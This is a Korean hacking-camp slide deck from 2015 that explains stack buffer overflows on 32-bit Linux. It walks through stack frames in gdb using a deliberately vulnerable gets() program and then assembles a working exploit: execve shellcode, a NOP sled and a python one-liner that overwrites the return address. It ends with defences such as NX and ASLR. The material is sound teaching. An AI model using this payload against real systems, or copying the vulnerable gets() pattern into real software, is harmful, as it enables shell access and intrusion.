[11회 해킹캠프]Buffer Overflow 공격의 이해_송치현

Download Report

Transcript [11회 해킹캠프]Buffer Overflow 공격의 이해_송치현

Buffer Overflow 공격의 이해
송치현
2015.02.15
제 11회 해킹캠프
2
Who am I?
•
•
•
•
이름: 송치현
나이: 0x17
페북: http://fb.com/ian0371
이메일: [email protected]
3
INDEX
1. Buffer Overflow 개념잡기
2. 배경지식
3. Buffer Overflow 공격 과정
4. Buffer Overflow 방어
4
비밀번호에 스페이스바 연타!!!!!!
5
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때,
버퍼의 경계를 넘어 주변 메모
리를 덮어쓰는 것
6
Buffer Overflow 개념잡기
#include <stdio.h>
#include <string.h>
int main(void) {
int auth = 0;
char passwd[16];
printf("Enter the password: ");
gets(passwd); // VULNERABLE
if(strcmp(passwd, "SECRET_CODE") == 0) auth = 1;
if(auth) printf("Success!\n");
else printf("Fail\n");
}
7
Buffer Overflow 개념잡기
8
Buffer Overflow 개념잡기
WHY???
9
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때,
버퍼의 경계를 넘어 주변 메모
리를 덮어쓰는 것
경계를 체크하지 않는 gets()때문에
(gets 함수는 버퍼의 크기를 모름)
10
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때,
버퍼의 경계를 넘어 주변 메모
리를 덮어쓰는 것
char passwd[16];
크기 16짜리 버퍼에 많은 글자를 저장하면서
int auth;
주변에 있는 변수 auth의 값이 바뀐 것!
11
Buffer Overflow 개념잡기
값을 더 넣어볼까…?!
12
Buffer Overflow 개념잡기
Windows
?
13
Buffer Overflow 개념잡기
Linux
???
14
Buffer Overflow 개념잡기
Crash가 나고 프로그램이 종료된다!
왜 그럴까?
15
배경지식
• 프로세스 구조
0xbfffffff
Stack
Memory
Growth
Data
Code (Text)
0x00000000
Stack
Growth
16
배경지식
0xbfffffff
Stack
0x00000000
Stack: 지역변수, 함수 인
자, 환경 변수 등
Data
Data: 전역변수, 동적 할당
된 변수(Heap)
Code
Code: 어셈블리 코드
17
배경지식
Stack
Stack
Data
Data
Code
Chrome
Code
Stack
LoL
Stack
Data
Code
Data
ALSong
Code
Skype
18
배경지식
• AT&T 방식 어셈블리 syntax
- Intel 방식과 src와 des가 정반대
Intel
AT&T
mov des, src
mov src, des
mov eax, ebx
movl %ebx, %eax
mov ebx, 0ffh
movl $0xff, %ebx
add esp, 4
addl $4, %esp
19
배경지식
• Little Endian 표기법
- 하위Byte를
하위메모리에 저장
- 대부분의 x86에서 사용
20
배경지식
버퍼에 ABCDEFGHIJKL를 넣으면
21
배경지식
• 스택 프레임(Stack Frame)
: 어떤 절차(또는 함수)의 호출에 따라서 그
와 관계되는 모든 데이터를 저장해 두는 스
택 영역
22
배경지식
Stack
Growth
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
argument1
RET address
SFP
func1 var1
func1 var2
…
RET address
SFP
func2 var1
main의
Stack Frame
func1의
Stack Frame
func2의
Stack Frame
23
배경지식
•
-
EBP(Base Pointer)
스택 프레임의 시작점(스택의 맨 밑)
함수를 Call할 때 변함
프레임 포인터(FP)라고도 불림
24
배경지식
Stack
Growth
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
argument1
RET address
SFP
func1 var1
func1 var2
…
RET address
SFP
func2 var1
EBP
main의
Stack Frame
EBP
func1의
Stack Frame
EBP
func2의
Stack Frame
25
배경지식
• ESP(Stack Pointer)
- 스택 프레임의 마지막(스택의 맨 위)
- sub, add, push, pop 등으로 변함
26
배경지식
Stack
Growth
push %ebp
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
main var4
EBP
main의
Stack Frame
ESP
27
배경지식
Stack
Growth
pop %eax
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
main var4
ebp1
EBP
main의
Stack Frame
ESP
28
배경지식
Stack
Growth
sub
$0x8,%esp
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
main var4
EBP
main의
Stack Frame
ESP
29
배경지식
Stack
Growth
argument2
argument1
RET address
SFP
main var1
main var2
…
…
…
main var4
EBP
main의
Stack Frame
ESP
30
배경지식
• EIP(Instruction Pointer)
- PC(Program Counter)
- 다음에 실행될 명령어의 주소
EIP를 우리가 원하는 방향으로 조작한
다면?
원하는 코드 실행
31
배경지식
• 함수의 시작 & 스택 프레임 생성(Prologue)
main:
call func1
…
# return address
func1:
push %ebp
# main의 ebp값 저장
mov %esp, %ebp # ebp를 esp로 내림
32
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
EBP
ESP
call func1
argument2
argument1
RET address
SFP
main var1
main var2
RET address
EBP
ESP
33
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
RET address
EBP
ESP
push %ebp
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
EBP
ESP
34
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
EBP
ESP
mov %esp, %ebp
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
EBP
ESP
35
배경지식
• 함수의 끝 & 스택 프레임 해제(Epilogue)
func1:
leave # 스택 프레임 복구!!!
# (mov %ebp, %esp; pop %ebp)
ret
# pop %eip
36
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
func1 var1
func1 var2
func1 var3
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
EBP
ESP
leave
(mov %ebp, %esp)
EBP
ESP
37
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
RET address
SFP
argument2
argument1
RET address
SFP
main var1
main var2
RET address
EBP
ESP
leave
(pop %ebp)
EBP
ESP
38
배경지식
argument2
argument1
RET address
SFP
main var1
main var2
RET address
argument2
argument1
RET address
SFP
main var1
main var2
EBP
ESP
ret
(pop %eip)
함수를 호출하기 전
스택 프레임과 동일
EBP
ESP
39
Buffer Overflow 공격 과정
#include <stdio.h>
#include <string.h>
int func1(int a, int b) {
char buf[16];
gets(buf);
printf("Hello, %s!\n", buf);
return 1;
}
int main(void) {
func1(1, 5);
}
40
Buffer Overflow 공격 과정
(gdb) disas main
0x08048478 <+0>:
0x08048479 <+1>:
0x0804847b <+3>:
0x0804847e <+6>:
0x08048486 <+14>:
0x0804848d <+21>:
0x08048492 <+26>:
0x08048493 <+27>:
push
mov
sub
movl
movl
call
leave
ret
%ebp
%esp,%ebp
$0x8,%esp
$0x5,0x4(%esp)
$0x1,(%esp)
0x804844d<func1>
41
Buffer Overflow 공격 과정
(gdb) disas func1
0x0804844d <+0>:
0x0804844e <+1>:
0x08048450 <+3>:
0x08048453 <+6>:
0x08048456 <+9>:
0x08048459 <+12>:
0x0804845e <+17>:
0x08048461 <+20>:
0x08048465 <+24>:
0x0804846c <+31>:
0x08048471 <+36>:
0x08048476 <+41>:
0x08048477 <+42>:
push
mov
sub
lea
mov
call
lea
mov
movl
call
mov
leave
ret
%ebp
%esp,%ebp
$0x18,%esp
-0x10(%ebp),%eax
%eax,(%esp)
0x8048320 <gets@plt>
-0x10(%ebp),%eax
%eax,0x4(%esp)
$0x8048530,(%esp)
0x8048310 <printf@plt>
$0x1,%eax
42
Buffer Overflow 공격 과정
main 실행 전
ENVIRONMENT:
argc, *argv[] 등
0xbfff????
0xbfffd58c
ENVIRONMENT
…
…
0xb7e25a83 (ret)
ESP
0xb7e25a83:
__libc_start_main
EBP: 0x00000000
ESP: 0xbfffd58c
EIP: 0x08048478
EBP
43
Buffer Overflow 공격 과정
0x08048478
<main+0>
push %ebp
0x08048479
EBP:
ESP:
<main+1>
EIP:
mov %esp,%ebp
0xbfff????
0xbfffd58c
0x00000000
0xbfffd58c
0x08048478
ENVIRONMENT
…
…
0xb7e25a83 (ret)
ESP
EBP
44
Buffer Overflow 공격 과정
0x08048479
<main+1>
mov %esp,%ebp
0x0804847b
EBP:
ESP:
<main+3>
EIP:
sub $0x8,%esp
0xbfff????
0xbfffd588
0x00000000
0xbfffd588
0x08048479
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
ESP
EBP
45
Buffer Overflow 공격 과정
0x0804847b
<main+3>
sub $0x8,%esp
0xbfff????
0xbfffd588
0x0804847e
EBP: 0xbfffd588
ESP: 0xbfffd588
<main+6>
EIP: 0x0804847b
movl $0x5,0x4(%esp)
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
EBP
ESP
46
Buffer Overflow 공격 과정
0x0804847e
0xbfff????
<main+6>
movl $0x5,0x4(%esp)
0xbfffd580
0x08048486
EBP: 0xbfffd588
ESP: 0xbfffd580
<main+14>
EIP: 0x0804847e
movl $0x1,(%esp)
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
EBP
ESP
47
Buffer Overflow 공격 과정
0x08048486
<main+14>
movl $0x1,(%esp)
0xbfff????
0xbfffd580
0x0804848d
EBP: 0xbfffd588
ESP: 0xbfffd580
<main+21>
EIP: 0x08048486
call 0x804844d <func1>
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
EBP
ESP
48
Buffer Overflow 공격 과정
0x0804848d
0xbfff????
<main+21>
call 0x804844d <func1>
0xbfffd580
0x0804844d
<func1+0>
push %ebp
EBP: 0xbfffd588
ESP: 0xbfffd580
EIP: 0x0804848d
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
EBP
ESP
49
Buffer Overflow 공격 과정
0x0804844d
<func1+0>
push %ebp
0xbfff????
0xbfffd57c
0x0804844e
EBP:
ESP:
<func1+1>
EIP:
mov %esp,%ebp
0xbfffd588
0xbfffd57c
0x0804844d
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
EBP
ESP
50
Buffer Overflow 공격 과정
0x0804844e
<func1+1>
mov %esp,%ebp
0xbfff????
0xbfffd578
0x08048450
EBP:
ESP:
<func1+3>
EIP:
sub $0x18,%esp
0xbfffd588
0xbfffd578
0x0804844e
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
EBP
ESP
51
Buffer Overflow 공격 과정
0x08048450
<func1+3>
sub $0x18,%esp
0xbfff????
0xbfffd578
0x08048453
EBP: 0xbfffd578
ESP: 0xbfffd578
<func1+6>
EIP: 0x08048450
lea -0x10(%ebp),%eax
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
EBP
ESP
52
Buffer Overflow 공격 과정
0x08048453
0xbfff????
<func1+6>
lea -0x10(%ebp),%eax
EBP-0x10: buf
0xbfffd578
EBP:
0x08048456
ESP:
<func1+9>
EIP:
mov %eax,(%esp)
0xbfffd578
0xbfffd560
0x08048453
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
EBP
ESP
53
Buffer Overflow 공격 과정
0x08048456
<func1+9>
mov %eax,(%esp)
0xbfff????
0xbfffd578
EAX:
EBP:
ESP:
EIP:
0xbfffd568
0xbfffd578
0xbfffd560
0x08048456
0x08048459
<func1+12>
call 0x8048320<gets@plt>
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
EBP
ESP
54
Buffer Overflow 공격 과정
0x08048459
0xbfff????
<func1+12>
call 0x8048320<gets@plt>
0xbfffd578
0x0804845e
EBP: 0xbfffd578
ESP: 0xbfffd560
<func1+17>
EIP: 0x08048459
lea -0x10(%ebp),%eax
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
EBP
0xbfffd568
ESP
55
Buffer Overflow 공격 과정
0xbfff????
0xbfffd578
EBP: 0xbfffd578
ESP: 0xbfffd560
EIP: 0x0804845e
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
0x00414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
56
Buffer Overflow 공격 과정
0x08048461 <+20>:
mov %eax,0x4(%esp)
0x08048465 <+24>:
movl $0x8048530,(%esp)
0x0804846c <+31>:
call 0x8048310 <printf@plt>
printf로 출력하는 과정!
57
Buffer Overflow 공격 과정
0x08048476
<func1+41>
leave
0xbfff????
0xbfffd578
0x08048477
<func1+42>
ret
EBP: 0xbfffd578
ESP: 0xbfffd560
EIP: 0x08048476
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
0x00414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
58
Buffer Overflow 공격 과정
0x08048477
<func1+42>
ret
0xbfff????
0xbfffd588
0xbfffd57c
0x08048492
<main+26>
leave
EBP: 0xbfffd588
ESP: 0xbfffd57c
EIP: 0x08048477
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588
0x00414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
59
Buffer Overflow 공격 과정
0x08048492
<main+26>
leave
0xbfff????
0xbfffd588
0xbfffd580
0x08048493
<main+27>
ret
EBP: 0xbfffd588
ESP: 0xbfffd580
EIP: 0x08048492
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588
0x00414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
60
Buffer Overflow 공격 과정
0x08048493
<main+27>
ret
0xbfff????
0xbfffd588
0xbfffd580
0xb7e25a83로 return
EBP: 0xbfffd588
ESP: 0xbfffd580
EIP: 0x08048493
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588
0x00414141
0x41414141
0x41414141
0x41414141
0xbfffd568
ESP
EBP
61
Buffer Overflow 공격 과정
• EBP는 이전 스택 프레임의 EBP를 가리킴
(Saved Frame Pointer)
• Return addres는 EBP+4에 존재!!
62
Buffer Overflow 공격 과정
정상적인 input
비정상적인 input
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x08048492
0xbfffd588 (SFP)
0x00414141
0x41414141
0x41414141
0x41414141
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x41414141
0x41414141 (SFP)
0x41414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
0xbfffd568
EBP
ESP
63
Buffer Overflow 공격 과정
0x08048476
<func1+41>
leave
0xbfff????
0xbfffd578
0x08048477
<func1+42>
ret
EBP: 0xbfffd578
ESP: 0xbfffd560
EIP: 0x08048476
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x41414141
0x41414141 (SFP)
0x41414141
0x41414141
0x41414141
0x41414141
0xbfffd568
EBP
ESP
64
Buffer Overflow 공격 과정
0x08048477
<func1+42>
ret
0xbfff????
0xbfffd578
EBP: 0x41414141
ESP: 0xbfffd57c
EIP: 0x08048477
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x41414141
0x41414141 (SFP)
0x41414141
0x41414141
0x41414141
0x41414141
0xbfffd568
ESP
65
Buffer Overflow 공격 과정
0x41414141
…
0xbfff????
CRASH!!!!
0xbfffd578
EBP: 0x41414141
ESP: 0xbfffd57c
EIP: 0x41414141
ENVIRONMENT
…
…
0xb7e25a83
0x00000000 (SFP)
0x00000005
0x00000001
0x41414141
0x41414141 (SFP)
0x41414141
0x41414141
0x41414141
0x41414141
0xbfffd568
ESP
66
Buffer Overflow 공격 과정
• EIP를 잘 조작해서 우리가 원하는 코드를
실행할 수 있다!!!
Normal Execution Flow
main
func1
Abnormal Execution Flow
_exit
shell
code
67
Buffer Overflow 공격 과정
• Shellcode
- shell을 실행시키는 기계어코드(opcode)
- http://shell-storm.org/shellcode/
- 25byte shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x6
8\x2f\x62\x69\x6e\x89\xe3\x50\x53\x
89\xe1\x89\xc2\xb0\x0b\xcd\x80
- NOP(No OPeration): \x90
68
Buffer Overflow 공격 과정
• Payload 구성
메모리 구조는
오른쪽 그림과 같다.
0xbfff????
0xbfffd580
ENVIRONMENT
…
…
shellcode
…
0x90909090
0x90909090
0xbfffd580
0x42424242 (SFP)
0x41414141
0x41414141
0x41414141
0x41414141
0xbfffd568
buf[16]: 16byte
AAAAAAAAAAAAAAAA
SFP: 4byte
BBBB
RET: 4byte
0xbfffd580
NOP + shellcode
…
69
Buffer Overflow 공격 과정
• Payload 구성
(python -c 'print "A"*16 + "B"*4 +
"\x80\xd5\xff\xbf" + "\x90"*200 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\
x68\x2f\x62\x69\x6e\x89\xe3\x50\x5
3\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
';cat) | ./test
70
Buffer Overflow 공격 과정
71
Buffer Overflow 방어
• NX (Non-Executable Stack)
- Stack에 실행권한을 없앰으로써 Stack에
있는 코드는 실행을 안 함
72
Buffer Overflow 방어
• ASLR (Address Space Layout
Randomization)
- Stack의 주소를 매 실행마다 바꿈
No ASLR
ASLR
73
Buffer Overflow 방어
• 취약한 함수 사용 X
- gets, scanf, strcpy, sprintf 등…
THANK YOU!!!